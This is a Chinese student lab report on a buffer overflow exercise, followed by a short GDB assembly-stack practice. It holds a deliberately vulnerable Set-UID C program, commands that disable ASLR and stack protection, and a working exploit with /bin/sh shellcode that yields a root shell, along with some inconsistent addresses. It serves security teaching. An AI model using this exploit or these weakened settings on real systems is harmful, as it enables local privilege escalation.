學習緩沖區溢出的意義
- 概念解釋:
- 緩沖區溢出:程序試圖向緩沖區寫入超出預分配固定長度數據的情況。
- 緩沖區溢出漏洞:由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。
- 緩沖區溢出攻擊:通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。
緩沖區溢出漏洞實驗
實驗准備
為搭建32位操作環境,方便觀察匯編語句,我們進行以下操作:
- 輸入以下三個命令安裝用於編譯32位C程序的工具:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
- 若執行第一條更新命令時,如出現“無法獲得鎖/var/lib/dpkg/lock”的情況,是因為系統中只允許有一個apt-get進程
- 解決思路是:先看看有沒有其他窗口在使用資源,正在進行更新,或者軟件中心正在安裝等,再將其關閉,最后重啟虛擬機。
具體步驟如下:- 輸入“ps -aux”查找最后一列以“update”或“apt-get ”開頭的進程,並記住該進程的PID;
- 輸入“sudo kill 該進程的PID”結束該進程。
2.輸入命令linux32
進入32位linux環境(如圖1-1),執行該命令后觀察終端窗口最上方可發現已經進入32位linux環境(前后對比圖如1-2所示),接着輸入/bin/bash
使用bash,結果如圖1-3所示:
(圖1-1)
(圖1-2)
(圖1-3)
實驗步驟
1.初始設置
(1) 緩沖區溢出攻擊的關鍵是猜測內存地址,所以為了方便我們對地址的猜測,我們使用sudo sysctl -w kernel.randomize_va_space=0
命令類關閉“地址空間隨機化”這一功能,(請注意這里是++sysctl++而不是++sysct1++)如圖2-1所示:
(圖2-1)
Ubuntu和其他一些Linux系統中,地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址。
sudo sysctl -w kernel.randomize_va_space=0
命令詳細分析如下:- sysctl命令用於運行時配置內核參數,還可以設置或重新設置聯網功能。
- -w參數用於臨時改變某個指定參數的值。格式為「 sysctl [-n] [-e] -w variable=value」
- 設置全局變量 randomize_va_space 值為 0 (該值默認為1),可以讓程序的棧和 mmap 映射區域從一個固定位置開始。
為了進一步防范緩沖區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防護措施在/bin/bash中實現。
- 在這里對“shell程序”、“Set-UID程序”進行詳細解釋,方便大家理解:
- shell是用戶使用Unix/Linux的橋梁。shell程序是一支程序,它由輸入設備讀取命令,再將其轉為計算機可以了解的機械碼,然后執行它,即計算機用來解釋你輸入的命令然后決定進行何種處理的程序。
- shell與bash的關系:Unix/Linux上常見的Shell腳本解釋器有bash、sh、csh、ksh等,習慣上把它們稱作一種Shell,其中bash是Linux標准默認的shell。
- “Set-UID”:當一個具有執行權限的文件設置SetUID權限后,用戶執行這個文件時將以文件所有者的身份執行。例如“passwd”命令具有SET-ID權限,所以可以作為root執行命令。這里由於shell程序的防護措施,即使某個shell被賦予了SetID權限也無法保持root權限任意執行命令。
(2)設置zsh程序
linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接。
- 對/bin/sh的詳細介紹:
- /bin/sh相當於 /bin/bash --posix,即使用 sh 調用執行腳本相當於打開了bash 的 POSIX 標准模式
- 運行
ls -l /bin/sh
結果如圖2-2所示:
- 根據對ls -l指令的了解,我們知道,第一個字母“l”表示該文件是一個鏈接文件。字母"l"是link(鏈接)的縮寫,類似於windows下的快捷方式 ;后面的 “->" 箭頭符號后面跟着的是這個鏈節文件所指向的文件名。
- 鏈節文件:分為硬鏈接或符號鏈接(軟鏈接)兩種。硬鏈接實際上是為文件建一個別名,鏈接文件和原文件實際上是同一個文件。;而軟鏈接建立的是一個指向,即鏈接文件內的內容是指向原文件的指針,它們是兩個文件。
- bash 的 POSIX 標准模式:當“$0”是“sh”的時候,bash程序執行時要求下面的代碼遵循一定的規范,當不符合規范的語法存在時,則會報錯所以可以將“sh”理解成一種標准(POSIX),這種標准,在一定程度上保證了腳本的跨系統性(跨UNIX系統)
為了重現“shell程序在被調用時自動放棄它們的特權”這一防護措施被實現之前的情形,我們使用另一個shell程序(zsh)代替/bin/bash。命令如下:
1. sudo su
2. cd /bin
3. rm sh
4. ln -s zsh sh
5. exit
-
命令分析如下:
- sudo su 命令缺省參數時表示“使用超級用戶權限切換為root賬戶模式”。
- ln命令用來為文件創件連接,默認為硬鏈接,加參數-s則創建符號鏈接,類似於Windows下創建了一個文件夾的快捷方式。結果:將zsh(源文件)鏈接到sh(目標文件)。
-
運行結果如圖2-3所示:
(圖2-3)
如果是用自己的虛擬機進行實驗,實驗結束后一定要把sh修改回來,步驟和上述步驟相同,先進入linux32,再進入/bin/bash,輸入以下命令:
1. sudo su
2. cd /bin
3. rm sh
4. ln -s dash sh
5. exit
2.shellcode
一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那么程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode。
本次實驗的shellcode就是下方代碼的匯編版本“\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
在64位的機器上產生32位匯編:
gcc -m32 -g shellcode.c -o shellcode
3.漏洞程序
在“/tmp”目錄下保存以下代碼為“stack.c”:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);//將主函數中讀入的文件內容裝入“buffer”
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");//讀取一個名為“badfile”的文件
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 編譯該程序,並設置SET-UID:
1. sudo su
2. gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
3. chmod u+s stack
4. exit
- 詳細解釋:
- GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制;
- -z execstack 用於允許執行棧;
- -m32 -g 在64位的機器上產生32位匯編。
4.攻擊程序
-
目的:攻擊剛才的漏洞程序“stack”,並通過攻擊獲得root權限。
-
步驟:
- 1.在“/tmp”目錄下保存以下代碼為“stack.c”:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode保存在內存中的地址,因為發生溢出后這個位置剛好可以覆蓋返回地址。
- 2.運行命令```gdb stack``進入調試狀態后,輸入“disass main”指令后運行結果如圖2-4所示:
(圖2-4)
- 3.依次輸入以下命令:
q//退出
b *0x080484e8//在0x080484e8位置設斷點
r//運行
i r $esp//獲取str首地址
運行結果如圖2-5所示:
(圖2-5)
- 4.根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffd020(十六進制)+100(十進制)=0xffffd084(十六進制)。
- 5.將exploit.c文件中的\x??\x??\x??\x?? 修改為\x14\xd2\xff\xff。
- 解釋:地址0xffffd214對應的路徑為\x14\xd2\xff\xff。
- 5.編譯exploit.c程序
gcc -m32 -o exploit exploit.c
5.攻擊結果
- 先用
./exploit
運行攻擊程序exploit,再用./stack
運行漏洞程序stack,觀察結:- 出現“段錯誤”,錯誤結果如圖2-5所示:
- 攻擊成功獲得root權限,利用
whoami
查詢后發現是root。
- 出錯解決方案:重新使用gdb反匯編,計算內存地址。
- 按上述方法操作后仍然出現段錯誤怎么辦?
GDB調試匯編堆棧過程課堂實踐
- 代碼樣例week060420155312.c:
int g(int x){
return x+3;
}
int f(int x){
int i = 學號后兩位;
return g(x)+i;
}
int main(void){
return f(8)+1;
}
- 命令匯總:
- 使用“gcc -g week060420155312.c -o week0604 -m32”產生32位匯編,生成可執行文件week0604
- gdb week0604:使用gdb調試器
- (以下為在調試狀態下的輸入)b 10:在主函數處設置行斷點
- r:運行
- disassemble:顯示當前所處函數的反匯編機器碼
- i r:顯示各寄存器的值
- display /i $pc:每次執行下一條匯編語句時,均打印出當前執行的代碼
- si:執行下一條匯編語句
- x/參數 + 棧指針的值:以參數規定的形式查看棧中某地址單元中的值。eg:x/u 0xffffcfe8;x/2a 0xffffcfe0
f函數執行的整個過程中,各寄存器和棧中的變化情況如下圖所示:
參考資料
1.linux ls -l 詳解
2.bash的POSIX標准
3.ln命令
4.GDB調試匯編堆棧過程分析